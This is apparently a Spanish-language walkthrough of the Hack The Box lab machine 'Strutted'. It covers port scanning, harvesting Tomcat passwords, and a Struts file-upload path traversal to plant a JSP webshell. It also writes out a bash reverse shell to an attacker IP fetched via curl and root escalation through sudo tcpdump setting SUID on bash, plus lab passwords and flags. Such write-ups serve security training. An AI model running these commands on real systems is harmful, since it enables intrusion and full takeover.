Strutted

Strutted

Tras realizar una enumeración de puertos con Nmap, observamos que el puerto 22 (SSH) y el puerto 80 (HTTP) están abiertos. El servidor HTTP está ejecutando nginx 1.18.0 en Ubuntu

 File: targeted
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Wed Sep  3 06:12:23 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sC -sV -oN targeted 10.10.11.59
   2   │ Nmap scan report for 10.10.11.59
   3   │ Host is up (0.12s latency).
   4   │ 
   5   │ PORT   STATE SERVICE VERSION
   6   │ 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
   7   │ | ssh-hostkey: 
   8   │ |   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
   9   │ |_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
  10   │ 80/tcp open  http    nginx 1.18.0 (Ubuntu)
  11   │ |_http-server-header: nginx/1.18.0 (Ubuntu)
  12   │ |_http-title: Did not follow redirect to http://strutted.htb/
  13   │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  14   │ 
  15   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  16   │ # Nmap done at Wed Sep  3 06:12:38 2025 -- 1 IP address (1 host up) scanned in 14.85 seconds

Si vamos al apartado de download se nos descarga un ZIP. Vamos a echarle un ojo.

mv ~/Downloads/strutted.zip ./../content
❯ cd ../content
❯ 7z l strutted.zip

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-01-07 01:59:33 .....          615          293  Dockerfile
2025-01-07 01:59:33 .....         4064         1731  README.md
2025-01-07 01:59:33 .....         1361          786  context.xml
2025-01-07 01:59:33 D....            0            0  strutted
2025-01-07 01:59:33 .....         3999         1013  strutted/pom.xml
2025-01-07 01:59:33 .....         5810         2222  strutted/mvnw.cmd
2025-01-07 01:59:33 .....         9113         3030  strutted/mvnw
2025-01-07 01:59:33 D....            0            0  strutted/src
2025-01-07 01:59:33 D....            0            0  strutted/src/main
2025-01-07 01:59:33 D....            0            0  strutted/src/main/webapp
2025-01-07 02:00:20 D....            0            0  strutted/src/main/webapp/WEB-INF
2025-01-07 02:01:18 .....         4303         1436  strutted/src/main/webapp/WEB-INF/error.jsp
2025-01-07 01:59:33 .....         1117          409  strutted/src/main/webapp/WEB-INF/web.xml
2025-01-07 02:01:35 .....         4285         1402  strutted/src/main/webapp/WEB-INF/showImage.jsp
2025-01-07 02:11:38 .....         5647         1778  strutted/src/main/webapp/WEB-INF/upload.jsp
2025-01-07 02:01:26 .....         6125         1853  strutted/src/main/webapp/WEB-INF/how.jsp
2025-01-07 02:01:10 .....         6616         2208  strutted/src/main/webapp/WEB-INF/about.jsp
2025-01-07 02:01:45 .....         7120         2059  strutted/src/main/webapp/WEB-INF/success.jsp
2025-01-07 01:59:33 D....            0            0  strutted/src/main/java
2025-01-07 01:59:33 D....            0            0  strutted/src/main/java/org
2025-01-07 01:59:33 D....            0            0  strutted/src/main/java/org/strutted
2025-01-07 02:00:44 D....            0            0  strutted/src/main/java/org/strutted/htb
2025-01-07 01:59:33 .....         6656         1823  strutted/src/main/java/org/strutted/htb/Upload.java
2025-01-07 01:59:33 .....         1832          503  strutted/src/main/java/org/strutted/htb/URLMapping.java
2025-01-07 01:59:33 .....          199          147  strutted/src/main/java/org/strutted/htb/AboutAction.java
2025-01-07 01:59:33 .....         1582          630  strutted/src/main/java/org/strutted/htb/DatabaseUtil.java
2025-01-07 01:59:33 .....          197          147  strutted/src/main/java/org/strutted/htb/HowAction.java
2025-01-07 01:59:33 .....         1146          443  strutted/src/main/java/org/strutted/htb/URLUtil.java
2025-01-07 01:59:33 D....            0            0  strutted/src/main/resources
2025-01-07 02:00:54 .....         2145          678  strutted/src/main/resources/struts.xml
2025-01-07 01:59:33 D....            0            0  strutted/target
2025-01-07 01:59:33 D....            0            0  strutted/target/generated-sources
2025-01-07 01:59:33 D....            0            0  strutted/target/generated-sources/annotations
2025-01-07 01:59:33 D....            0            0  strutted/target/strutted-1.0.0
2025-01-07 01:59:33 D....            0            0  strutted/target/strutted-1.0.0/META-INF
2025-01-07 01:59:33 D....            0            0  strutted/target/strutted-1.0.0/WEB-INF
2025-01-07 01:59:33 .....          587          346  strutted/target/strutted-1.0.0/WEB-INF/error.jsp
2025-01-07 01:59:33 .....         1117          409  strutted/target/strutted-1.0.0/WEB-INF/web.xml
2025-01-07 01:59:33 D....            0            0  strutted/target/strutted-1.0.0/WEB-INF/lib
2025-01-07 01:59:33 .....       794034       738335  strutted/target/strutted-1.0.0/WEB-INF/lib/javassist-3.29.0-GA.jar
2025-01-07 01:59:33 .....     14259880     14221392  strutted/target/strutted-1.0.0/WEB-INF/lib/sqlite-jdbc-3.47.1.0.jar
2025-01-07 01:59:33 .....       632267       573075  strutted/target/strutted-1.0.0/WEB-INF/lib/commons-lang3-3.13.0.jar
2025-01-07 01:59:33 .....       264823       253389  strutted/target/strutted-1.0.0/WEB-INF/lib/ognl-3.3.4.jar
2025-01-07 01:59:33 .....        95505        83833  strutted/target/strutted-1.0.0/WEB-INF/lib/javax.servlet-api-4.0.1.jar
2025-01-07 01:59:33 .....        74132        64158  strutted/target/strutted-1.0.0/WEB-INF/lib/commons-fileupload-1.5.jar
2025-01-07 01:59:33 .....       238400       215227  strutted/target/strutted-1.0.0/WEB-INF/lib/commons-text-1.10.0.jar
2025-01-07 01:59:33 .....       313296       282310  strutted/target/strutted-1.0.0/WEB-INF/lib/log4j-api-2.20.0.jar
2025-01-07 01:59:33 .....      1519233      1360308  strutted/target/strutted-1.0.0/WEB-INF/lib/struts2-core-6.3.0.1.jar
2025-01-07 01:59:33 .....      1736381      1559626  strutted/target/strutted-1.0.0/WEB-INF/lib/freemarker-2.3.32.jar
2025-01-07 01:59:33 .....       483954       437052  strutted/target/strutted-1.0.0/WEB-INF/lib/commons-io-2.13.0.jar
2025-01-07 01:59:33 D....            0            0  strutted/target/strutted-1.0.0/WEB-INF/classes
2025-01-07 01:59:33 .....         2315          771  strutted/target/strutted-1.0.0/WEB-INF/classes/struts.xml
2025-01-07 01:59:33 D....            0            0  strutted/target/strutted-1.0.0/WEB-INF/classes/org
2025-01-07 01:59:33 D....            0            0  strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted
2025-01-07 01:59:33 D....            0            0  strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb
2025-01-07 01:59:33 .....          454          290  strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/AboutAction.class
2025-01-07 01:59:33 .....         3276         1589  strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/URLMapping.class
2025-01-07 01:59:33 .....         1610          847  strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/URLUtil.class
2025-01-07 01:59:33 .....         7344         3859  strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/Upload.class
2025-01-07 01:59:33 .....         2899         1606  strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/DatabaseUtil.class
2025-01-07 01:59:33 .....          448          291  strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/HowAction.class
2025-01-07 01:59:33 .....         5651         1787  strutted/target/strutted-1.0.0/WEB-INF/upload.jsp
2025-01-07 01:59:33 .....         6125         1853  strutted/target/strutted-1.0.0/WEB-INF/how.jsp
2025-01-07 01:59:33 .....         6918         2254  strutted/target/strutted-1.0.0/WEB-INF/about.jsp
2025-01-07 01:59:33 .....         7120         2059  strutted/target/strutted-1.0.0/WEB-INF/success.jsp
2025-01-07 01:59:33 D....            0            0  strutted/target/classes
2025-01-07 01:59:33 .....         2315          771  strutted/target/classes/struts.xml
2025-01-07 01:59:33 D....            0            0  strutted/target/classes/org
2025-01-07 01:59:33 D....            0            0  strutted/target/classes/org/strutted
2025-01-07 01:59:33 D....            0            0  strutted/target/classes/org/strutted/htb
2025-01-07 01:59:33 .....          454          290  strutted/target/classes/org/strutted/htb/AboutAction.class
2025-01-07 01:59:33 .....         3276         1589  strutted/target/classes/org/strutted/htb/URLMapping.class
2025-01-07 01:59:33 .....         1610          847  strutted/target/classes/org/strutted/htb/URLUtil.class
2025-01-07 01:59:33 .....         7344         3859  strutted/target/classes/org/strutted/htb/Upload.class
2025-01-07 01:59:33 .....         2899         1606  strutted/target/classes/org/strutted/htb/DatabaseUtil.class
2025-01-07 01:59:33 .....          448          291  strutted/target/classes/org/strutted/htb/HowAction.class
2025-01-07 01:59:33 D....            0            0  strutted/target/maven-archiver
2025-01-07 01:59:33 .....           57           57  strutted/target/maven-archiver/pom.properties
2025-01-07 01:59:33 .....     19820601     19820617  strutted/target/strutted-1.0.0.war
2025-01-07 01:59:33 D....            0            0  strutted/target/maven-status
2025-01-07 01:59:33 D....            0            0  strutted/target/maven-status/maven-compiler-plugin
2025-01-07 01:59:33 D....            0            0  strutted/target/maven-status/maven-compiler-plugin/compile
2025-01-07 01:59:33 D....            0            0  strutted/target/maven-status/maven-compiler-plugin/compile/default-compile
2025-01-07 01:59:33 .....          199           83  strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
2025-01-07 01:59:33 .....          589          129  strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
2025-01-07 01:59:33 .....          222          138  tomcat-users.xml
------------------- ----- ------------ ------------  ------------------------
2025-01-07 02:11:38           40371715     39661534  56 files, 30 folders

Al listar el archivo, podemos observar el contenido del ZIP. En él, destacan archivos como tomcat-users.xml, pom.xml y varios archivos JSP en el directorio src/main/webapp/WEB-INF.

Dentro del archivo tomcat-users.xml, donde se suele encontrar combinaciones de usuario, contraseña y roles que suelen estar definidas para acceder a funcionalidades restringidas del servidor Tomcat, como por ejemplo:

  • /manager/html – Panel web para desplegar/administrar apps

  • /host-manager/html – Administración de hosts virtuales

Encontramos una contraseña, que vamos a guardar.

cat tomcat-users.xml
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: tomcat-users.xml
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?xml version='1.0' encoding='utf-8'?>
   2   │ 
   3   │ <tomcat-users>
   4   │     <role rolename="manager-gui"/>
   5   │     <role rolename="admin-gui"/>
   6   │     <user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
   7   │ </tomcat-users>

El archivo pom.xml revela que el servidor está utilizando Apache Struts 6.3.0, una versión vulnerable a la explotación por CVE-2024-53677

Si buscamos en internet podemos encontrar la vulnerabilidad CVE-2024-56337, que permite enviar datos especialmente manipulados a la aplicación web, y si no está protegida correctamente, esos datos pueden hacer que el servidor ejecute comandos no deseados, dándole al atacante control total del servidor.

Apache Struts usa un interceptor que procesa los campos del formulario como objetos del modelo Java. Cuando subes un archivo, se espera que el nombre del archivo sea un nombre normal (imagen.jpg), pero si tú envías como nombre de archivo algo como ../../webapps/ROOT/rogue.jsp, puedes hacer que el archivo se escriba fuera del directorio permitido, lo que se llama path traversal. Esto te permite subir archivos donde quieras, incluyendo el directorio web raíz, lo que lleva a RCE si subes código .jsp.

El encabezado orgiinal de la solicitud se ve como este :

Para explotar la vulnerabilidad, hay que modificar el valor de name para que empiece con una letra mayúscula, es decir, cambiar name=”upload” por name=”Upload”,además de incluir el parámetro uploadFileName para manipular cómo se maneja el archivo.

Vamos a intentar meter una webshell en jsp.

Ahora podemos intentar ganar acceso al sistema.

Creamos un archivo index.html con un script bash que ejecuta una reverse shell hacia nuestro atacante.


  #!/bin/bash

  bash -i >& /dev/tcp/10.10.14.111/443 0>&1

Luego, levantamos un servidor HTTP en nuestra máquina local para compartir el script.

python -m http.server 80

Desde la webshell hago curl a mi ip exportando ese contenido para que se guarde en tmp/reverse.

Cuando se encuentre ahi, lo interpreto con bash mientras estoy en escucha con netcat para conseguir la reverse shell.

Recuerdo que teníaa una contraseña del tomcat y la pruebo junto con otra que veo aquí: /etc/tomcat9/tomcat-users.xml

<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->

</tomcat-users>

Pero no me deja, sin embargo si intento conectarme por ssh, si me deja conectarme.

USER FLAG
---------------------------

 james@strutted:~$ pwd
/home/james
james@strutted:~$ ls
user.txt
james@strutted:~$ cat user.txt 
3d3fa4fd9f0764f9ba7ad4b07e6745b8
james@strutted:~$ 
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

el usuario james puede ejecutar tcpdump sin ser root. Si vamos a GTFOBins podemos buscar herramientas que te permitan ejecutar código como root sin necesidad de una contraseña, como tcpdump o herramientas comunes en el sistema.

Como comando pone id pero yo voy a intentar asignar privilegios SUID a la bash. Como comando le pasare lo siguiente:

 james@strutted:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
james@strutted:~$ COMMAND='chmod u+s /bin/bash'
james@strutted:~$ TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
james@strutted:~$ bash -p
bash-5.1# 

Este comando tiene como objetivo establecer el bit setuid en el archivo /bin/bash, lo que permite que cualquier usuario que ejecute ese binario lo haga con los privilegios de root.

Normalmente, /bin/bash tiene permisos para que los usuarios lo ejecuten, pero sin privilegios elevados. Sin embargo, al agregar el bit setuid, el comportamiento cambia y el archivo se ejecuta como root sin importar qué usuario lo lance.

ROOT FLAG
---------------------------

bash-5.1# whoami
root
bash-5.1# find / -iname "*root.txt*" 2>/dev/null
/root/root.txt
bash-5.1# cat /root/root.txt
98cc755e628e00442a681acd844b9c97
bash-5.1#